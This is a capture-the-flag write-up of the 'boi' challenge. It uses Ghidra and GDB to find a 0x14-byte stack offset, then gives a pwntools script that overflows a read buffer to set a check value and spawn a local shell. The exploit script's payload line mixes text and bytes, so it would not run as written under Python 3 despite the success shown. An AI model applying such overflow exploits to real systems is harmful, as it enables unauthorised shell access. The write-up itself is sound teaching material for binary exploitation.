b. After running the binary, we know that the program simply prints the line Are you a big boiiiiii??, and waits for an input. If the input is incorrect (speculation, to be confirmed later on), it will output the current date and time.
1.2 Ghidra
main function (Decompile view)
Refined main function
From this, we know that the program reads in 0x18 (24) bytes of data from the user into the input variable. Next, it checks if the target variable matches a certain value (-0x350c4512). If it matches, run /bin/bash, else run /bin/date.
Variables (Listing view)
We can see that the input is stored lower in the stack at offset -0x38, while the target variable is stored higher at offset -0x24. This makes the input variable 0x38 - 0x24 = 0x14 bytes lower than the target variable. This means that given the proper payload, we can overwrite the value of the target variable in the stack with the matching value.
Remember that the read function defined earlier allows us to write 0x18 into the input variable
The assembly instruction corresponding to the IF statement:
This means that we have to overwrite the target variable value in stack with 0xcaf3baee. Since we are able to write 0x18 bytes of data, while the offset between the input and target is 0x14 bytes, we will be able to achieve this
1.3 GDB
Since there is no PIE enabled, we can skip the starti, which will usually be required to load the runtime addresses.
Lets focus on the following 2 lines, which corresponds to the read function, and the subsequent IF comparison statement:
We can set a breakpoint on the 3rd line (0x00000000004006a8), and view the eax register
The breakpoint value simply runs the program till the point where the user inputs a value, before the value at the portion of the stack (target variable) is moved to the eax register
As of now, it contains the value 0xdeadbeef. Now, lets use the payload ` to write the value 0xcaf3baee into the target variable:
We can see that the eax register now contains the value 0xcaf3baee
2. Exploit script
When we execute the exploit, we will pass the checks, and the program will pop a shell for us with the /bin/bash command
gdb> break *0x00000000004006a8
gdb> run < boi-input.bin
gdb> info r eax
eax 0xcaf3baee -889996562
boi-exploit.py
from pwn import *
# establish the target binary process
target = process('./boi')
# create the payload according to what we tested earlier
payload = "0"*0x14 + b"\xee\xba\xf3\xca" # p32(0xcaf3baee) work too
# send the payload
target.send(payload)
# drop to an interactive shell
target.interactive()
$ python3 boi-exploit.py
[+] Starting local process './boi': pid 81673
[*] Switching to interactive mode
Are you a big boiiiii??
$ whoami
jarrettgxz